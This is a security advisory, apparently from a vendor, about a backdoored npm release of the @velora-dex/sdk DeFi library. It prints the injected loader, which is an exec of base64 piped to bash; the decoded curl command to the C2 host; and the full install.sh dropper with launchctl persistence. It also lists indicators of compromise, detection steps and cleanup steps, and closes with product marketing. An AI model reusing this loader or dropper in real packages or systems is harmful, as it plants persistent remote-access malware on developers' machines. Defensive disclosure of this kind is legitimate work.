Contents
ToggleExecutive Summary
On April 7, 2026 at 19:03 UTC, a backdoored version of @velora-dex/sdk landed on npm. Version 9.4.1 — a DeFi toolkit used for token swaps, limit orders, and delta trading on the VeloraDEX decentralised exchange — contains three lines of malicious code prepended to dist/index.js that execute the moment the package is imported.

The code is not in the GitHub repository. Only the production tarball on npm is compromised. The attacker had access to the npm publishing token or the release pipeline, not the source tree. Source-level audits and SAST tools see nothing. StepSecurity’s Harden-Runner captured the complete kill chain in a controlled GitHub Actions run: from the require() call to binary download and launchctl persistence in approximately 330 milliseconds.
macOS developer machines are the primary target. The second-stage payload at 89.36.224.5 drops an architecture-specific binary — separate builds for Apple Silicon and Intel — into ~/Library/Application Support/com.apple.Terminal/profiler and registers it as a persistent launchctl service named zsh.profiler. On Linux CI runners, the C2 connection fires but the binary is not downloaded. The damage window is different depending on environment; the credential risk is not.
No CVE has been assigned. The GitHub issue was reported by Charlie Eriksen from Aikido. 9.4.0 is confirmed clean. Version 9.4.2 was published as a remediation but is not yet independently confirmed clean in all available sources — treat 9.4.0 as the verified safe pin until confirmed.

TL;DR for Engineering Teams
What it is: Supply chain compromise of @velora-dex/sdk 9.4.1 on npm, delivering a macOS persistent implant via a compromised build pipeline. No CVE assigned.
Where it bites: Any environment that installed or upgraded to @velora-dex/sdk@9.4.1. The payload fires on the first require() or import — no install hook, no separate step. 330ms from import to persistence attempt.
Why it matters: The malicious code is absent from the GitHub source tree. Source-level SAST is blind to it. macOS machines get a persistent launchctl implant. Linux CI runners make the C2 connection but don’t receive the binary — both environments should be treated as compromised.
Patch status: 9.4.0 is confirmed clean. 9.4.2 was published as a fix but is not yet independently confirmed across all available sources. Pin to 9.4.0 until 9.4.2 is verified.
Immediate action: Downgrade to 9.4.0. Run the macOS cleanup commands below. Rotate every credential accessible from affected machines. Block 89.36.224.5 at network perimeter and DNS. Audit lock files and CI pipeline logs.
Vulnerability Overview
| Field | Value |
|---|---|
| Package | @velora-dex/sdk |
| Registry | npm |
| Vulnerability Type | Supply chain compromise / macOS persistent implant / remote code execution |
| CWE | CWE-506 (Embedded Malicious Code) |
| CVE | Not assigned |
| Affected Version | 9.4.1 |
| Confirmed Clean Versions | ≤9.4.0 (9.4.2 published but not independently confirmed) |
| Attack Vector | Module import (no install hook required) |
| C2 Infrastructure | 89.36.224.5 |
| Time to Persistence | ~330ms from require() to launchctl |
| macOS Persistence | launchctl service: zsh.profiler |
| macOS Binary Drop | ~/Library/Application Support/com.apple.Terminal/profiler |
| Published | 2026-04-07 19:03 UTC |
| Initial Reporter | Charlie Eriksen (Aikido Security), GitHub issue #233 |
| Active Exploitation | Confirmed (C2 live at time of discovery) |
| Attribution | Unknown |
Technical Anatomy
Root Cause: Build Pipeline Compromise, Not Source Repository
A diff between 9.4.0 and 9.4.1 shows exactly two changed files: package.json (version bump only) and dist/index.js (the injection). No src/ files changed. No other distribution artifacts — sdk.cjs.production.min.js, sdk.esm.js — were modified. Development pre-release builds 9.4.1-dev.1 and 9.4.1-dev.2 from the same source codebase are clean.

This narrows the compromise to one place: whatever process assembled and published the production tarball. The attacker had the npm publishing token, access to the release CI job, or both — not write access to the source repository. The same pattern as TeamPCP against LiteLLM in March 2026: compromise the build step, inject into the output artifact, leave the source intact to defeat repo-based detection.

Test your pipeline with Phoenix Blue intelligence
Exploit Path
Step 1 — Compromised package resolves from registry.
Any developer or CI system running npm install @velora-dex/sdk without an exact version pin resolves to 9.4.1 under semver ranges like ^9.4.0 or ~9.4.1. The package installs without error. No install hook fires at this stage.
Step 2 — Package imported; payload fires immediately.
Three lines are prepended to dist/index.js. The payload runs the moment anything executes require(‘@velora-dex/sdk’) or imports from it:
// dist/index.js — lines 1–3 (malicious)
'use strict'
const {exec} = require('child_process');
exec(`echo 'bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx' | (base64 --decode 2>/dev/null || base64 -D) | bash`, function(error, stdout, stderr) {});
Decoded payload:
nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1
Step 3 — install.sh executes and installs persistence.
StepSecurity’s Harden-Runner captured the full install.sh content in a controlled run. The script is macOS-specific but architecture-aware:
// install.sh — full payload (source: StepSecurity Harden-Runner)
TERMINAL_DIR="$HOME/Library/Application Support/com.apple.Terminal"
PROFILER_PATH="$TERMINAL_DIR/profiler"
mkdir -p "$TERMINAL_DIR"
if [[ "$(uname)" == "Darwin" ]]; then
if [[ "$(uname -m)" == "arm64" ]]; then
curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/arm/driver/profiler
else
curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/intel/driver/profiler
fi
fi
chmod +x "$PROFILER_PATH"
launchctl submit -l zsh.profiler -- "$PROFILER_PATH"
Evasion and Persistence Mechanics
The malware uses four deliberate evasion techniques:
- Path masquerading: The binary lands in ~/Library/Application Support/com.apple.Terminal/ — a directory that mimics a legitimate macOS Terminal application support path. A user browsing the filesystem is unlikely to flag it.
- Binary naming: The dropped file is named profiler, a generic name that blends with system diagnostic tooling.
- Architecture-aware delivery: Separate binaries are served for Apple Silicon (ARM64) and Intel (x86_64), ensuring native execution on both without Rosetta overhead. The attacker built and hosted two payloads.
- launchctl persistence: launchctl submit -l zsh.profiler registers the binary as a user-level launch service. It survives reboots and runs without elevated privileges. The service name zsh.profiler mimics a shell profiling utility.
Linux CI Behaviour: C2 Contact Without Binary
The uname check in install.sh means Linux runners skip the binary download entirely. The darwin branch does not execute. However, curl still fetches install.sh from 89.36.224.5 — that C2 connection happens regardless of OS. Linux CI environments make the C2 contact but do not receive a persistent implant.
Linux CI runners that imported 9.4.1: the C2 connection fired. Any pipeline secrets, registry tokens, or cloud credentials accessible during that job should be treated as exposed even without a binary implant.
Kill Chain: 330ms from Import to Persistence
StepSecurity’s Harden-Runner captured the full process tree in a controlled GitHub Actions environment. The complete chain from require() to persistence attempt:
// Process tree — source: StepSecurity Harden-Runner (PID order, ~330ms total)
node (PID 2379) // require('@velora-dex/sdk') at 22:38:50.529
/bin/sh (PID 2386) // echo '...' | base64 --decode | bash
base64 (PID 2390) // --decode
bash (PID 2389)
curl (PID 2391) // -fsSL http://89.36.224.5/troubleshoot/mac/install.sh
nohup bash (PID 2393) // executes install.sh
mkdir (PID 2394) // -p ~/Library/Application Support/com.apple.Terminal
uname (PID 2395) // checks for Darwin
chmod (PID 2396) // +x .../profiler at 22:38:50.888

Two things are worth noting from this tree. First, nohup detaches the malware execution from the parent Node.js process — it continues running after the test suite, the CI job, or the developer’s script exits. Second, on the Linux runner used in this analysis, uname returned Linux so the binary download was skipped, but directory creation and chmod still executed before the OS check short-circuited.
Affected Versions
| Package | Affected Version | Safe Versions | Notes |
|---|---|---|---|
| @velora-dex/sdk | 9.4.1 | ≤9.4.0 (confirmed); 9.4.2 (unconfirmed) | Source repo clean; only published tarball compromised |
Exposure Analysis
| Environment | Risk Level | Detail |
|---|---|---|
| Developer macOS (Apple Silicon) | Critical | ARM64 binary downloaded; launchctl persistence installed; survives reboot |
| Developer macOS (Intel) | Critical | Intel binary downloaded; same persistence mechanism |
| Linux CI/CD runners | High | C2 connection fires; binary not downloaded; pipeline secrets at risk |
| Docker build (macOS host) | Critical | import during build triggers full macOS payload |
| Docker build (Linux host) | High | C2 connection fires; binary skipped; build secrets at risk |
| Environments on ≤9.4.0 | Not affected | Confirmed clean |
The risk split between macOS and Linux is not a reason for Linux teams to deprioritise. The credential exposure on a Linux CI runner that imported 9.4.1 is identical — pipeline tokens, cloud credentials, registry secrets — regardless of whether a persistent binary landed. macOS users additionally need to check for and remove the implant.
Real-World Impact
The attack was discovered through community vigilance. Charlie Eriksen from Aikido filed GitHub issue #233 after noticing the discrepancy between the source repository and the published tarball. The issue title was originally ‘Package compromised on GitHub’ — corrected to ‘Package compromised on NPM,’ the accurate description: the source is fine, the artifact is not.
@velora-dex/sdk is a DeFi toolkit. Its users build token swap and delta trading integrations — environments where blockchain wallet private keys, exchange API tokens, and cloud deployment credentials sit alongside ordinary development secrets. One compromised developer machine yields a credential set that can cascade into publishing infrastructure, just as the TeamPCP campaign showed after the Trivy breach.
No CVE. No CVSS. No NVD entry at time of publication. Standard SCA scanners running CVE feeds have no signal here. The npm advisory database entry appeared only after community disclosure. Version 9.4.1 remained downloadable on npm after deprecation — deprecation flags the package page, it does not block installation.
Detection Guidance
Indicators of Compromise
| Type | Indicator | Context |
|---|---|---|
| C2 IP | 89.36.224.5 | Primary payload server — all environments |
| C2 URL | http://89.36.224.5/troubleshoot/mac/install.sh | Dropper script fetched on import |
| C2 URL | http://89.36.224.5/mac/arm/driver/profiler | ARM64 (Apple Silicon) binary |
| C2 URL | http://89.36.224.5/mac/intel/driver/profiler | Intel binary |
| Filesystem | ~/Library/Application Support/com.apple.Terminal/profiler | Dropped binary (macOS only) |
| Persistence | launchctl service: zsh.profiler | Survives reboots; no root required |
| Process | nohup bash -c … curl to 89.36.224.5 | Spawned by Node.js child_process.exec |
| Base64 blob | bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx | Present in dist/index.js lines 2-3 |
| File | dist/index.js: require(‘child_process’) in first 3 lines | Not present in any clean version |
Verification Steps
- Check installed version: npm list @velora-dex/sdk — 9.4.1 in any output means the environment was exposed.
- Search lock files: grep -r “velora-dex/sdk” package-lock.json yarn.lock pnpm-lock.yaml — look for any resolution to 9.4.1.
- macOS: check for the dropped binary: ls -la ~/Library/Application\ Support/com.apple.Terminal/profiler
- macOS: check for the persistent service: launchctl list | grep zsh.profiler
- Check network logs for outbound HTTP connections to 89.36.224.5 around the time the package was first imported.
- Audit running processes: ps aux | grep ‘nohup bash’ — a detached bash process with a Node.js parent is a strong indicator.
- CI pipelines: review workflow logs for jobs that imported the package between 2026-04-07 19:03 UTC and remediation.
- Diff tarball against source: npm pack from the GitHub repository at the v9.4.1 tag and diff dist/index.js against the registry version.
Scanner Guidance
CVE-based SCA tools produce no signal here. Detection requires different methods:
- Tarball vs. source comparison: Socket Security and Deps.dev flag packages where the published artifact diverges from the source repository without a documented build transformation. This is the detection class that catches this attack.
- SBOM with checksums: Generate an SBOM from the installed node_modules tree and compare against an SBOM generated from source. Hash mismatches in dist/index.js are the indicator.
- StepSecurity Harden-Runner: Captured the complete kill chain in a controlled run via process event monitoring and network egress tracking. In block mode, Harden-Runner would have prevented the curl call to 89.36.224.5 from succeeding, stopping the binary download before persistence. Provides a Compromised Actions Run Policy and npm Package Cooldown Check for CI environments.
- Runtime behavioral detection: Falco rules for child_process.exec spawning nohup bash with a curl pipeline catch this in Linux CI environments. Harden-Runner’s ‘Exfiltrating File via Curl’ rule applies directly.
- Phoenix Security: Identifies compromised packages by comparing published tarball contents against source repository state. Packages where the artifact diverges from source without expected build output are flagged regardless of CVE status.
Remediation Guidance
Immediate Actions
- Downgrade: npm install @velora-dex/sdk@9.4.0 in all affected projects. Regenerate lock files. Do not use 9.4.2 until it is independently confirmed clean.
- Block C2: Add 89.36.224.5 to perimeter deny lists and DNS blocklists now. All three paths (/troubleshoot/mac/install.sh, /mac/arm/driver/profiler, /mac/intel/driver/profiler) should be blocked.
- Rotate credentials: Treat every secret accessible from any machine that imported 9.4.1 as compromised — SSH keys, AWS/GCP/Azure credentials, npm tokens, GitHub PATs, Docker registry tokens, database passwords, cryptocurrency wallet keys, and shell history exports.
- Audit CI pipelines: Any pipeline job that imported the package during the exposure window should have all runner secrets rotated.
- Lock file hygiene: Search all repositories for lock files resolving to 9.4.1 and update them.
- Use a GitHub action that pins the dependencies.

macOS Cleanup (Run on Every Affected Machine)
If 9.4.1 was installed and imported on a macOS machine, run the following:
launchctl remove zsh.profiler
// Remove the dropped binary
rm -rf ~/Library/Application\ Support/com.apple.Terminal/profiler
// Remove the fake directory if otherwise empty
rmdir ~/Library/Application\ Support/com.apple.Terminal 2>/dev/null
// Confirm the service is gone
launchctl list | grep zsh.profiler # should return nothing
After removing the implant, check ~/Library/LaunchAgents/ for any .plist file referencing zsh.profiler or profiler as a belt-and-suspenders check — launchctl submit does not always write a .plist, but confirming there is no persistent entry is worth the 30 seconds.
Temporary Mitigations
- –ignore-scripts blocks postinstall hooks but does not help here — this attack fires on module import, not on install. The correct mitigation class is tarball verification before adoption.
- npm audit signatures: checks cryptographic signatures on installed packages where Sigstore provenance is available.
- Exact version pinning in package.json: semver ranges are the mechanism that allowed a compromised patch version to resolve silently.
- Package adoption delay: StepSecurity’s npm Package Cooldown Check blocks newly published versions from entering PRs until a configurable wait period has elapsed. Community detection of supply chain injections typically surfaces within hours.
Phoenix Security Recommendations
No CVE. No CVSS. No NVD entry. The source repository is clean. If your vulnerability management programme runs CVE feeds and source-level scans, this attack was invisible until your code called require().
Supply chain detection: Phoenix compares published npm tarball contents against upstream source state. When the artifact diverges from source without an expected build transformation — as happened here — Phoenix flags it. That is the detection signal that matters for this class of attack, and it works before a developer machine runs the import.
Reachability analysis: Phoenix identifies which applications actually import @velora-dex/sdk and which execution paths reach the compromised entry point. An environment with the package installed but never imported has a different risk profile from one where the module loads on application startup.
Attack surface management: Phoenix maps development environments and CI pipelines against compromised package versions, showing which teams and pipelines need immediate action rather than broadcasting an alert across every team that has ‘velora’ in a transitive dependency.
Remediation campaigns: Create a campaign in Phoenix to track the downgrade to 9.4.0, macOS implant removal, credential rotation, lock file updates, and CI pipeline audits across all affected repositories. Assign owners per repository. Track through to confirmed clean state.
Phoenix Security correlates supply chain compromise indicators — tarball divergence, behavioural runtime signals, affected pipeline execution — into an owned, team-assigned remediation backlog. A zero-CVE npm attack with a macOS persistent implant does not stay invisible.
References
- VeloraDEX SDK GitHub Issue #233 — Package compromised on NPM, reported by Charlie Eriksen (Aikido Security), April 7, 2026
- StepSecurity OSS Security Feed — @velora-dex/sdk@9.4.1 kill chain analysis and Harden-Runner process capture
- StepSecurity Harden-Runner — Insights Dashboard for controlled analysis run (app.stepsecurity.io)
- npm registry — @velora-dex/sdk package page
- Socket Security — npm supply chain risk monitoring and tarball analysis
- MITRE CWE-506 — Embedded Malicious Code
- CISA — Software Supply Chain Security Guidance
- Endor Labs — TeamPCP Is Not Done: Threat Actor Behind Trivy and KICS Compromises Now Hits LiteLLM (March 2026)
Test your pipeline with Phoenix Blue intelligence
How Phoenix Security Fixes What Actually Matters
Your team doesn’t have a finding problem. They have a fixing problem.
Most platforms hand you a list. Phoenix hands you a plan — ranked by real risk, mapped to the team that owns it, with a clear path to close it.
What remediation looks like with Phoenix:
- One backlog, not five. Findings from SAST, SCA, containers, and cloud — deduplicated, correlated, and surfaced in a single prioritized queue. No more reconciling lists across tools.
- Ownership that sticks. Team attribution and inheritance mean the right ticket goes to the right engineer, first time. No routing, no guessing, no back-and-forth.
- Campaigns that move the needle. Group related findings into targeted remediation campaigns. Track progress, measure closure rates, and report real reduction — not raw counts.
- AI that does the legwork, not the deciding. Phoenix’s Remediator agent drafts fixes, creates tickets, and opens PRs. Your team reviews, approves, and merges. Every fix is traceable.
Phoenix Security changes the game.

The pattern is the same every time: teams that move from find and report to analyze and fix close more risk with less effort.

The results are clear:
- Bazaarvoice saved $6.3M in developer time and for teams removed critical in the first weeks of adoption
- ClearBank cut critical container vulnerabilities by 96–99% and reclaimed 4 hours per engineer per week.
- IAS saved an equivalent of 1.5M in development hours and reduced SCA-to-container noise by 82.4%
- Optimizely has been able to act on vulnerabilities sitting on the backlog.
Or learn how Phoenix Security slashed millions in wasted dev time for fintech, retail, and adtech leaders.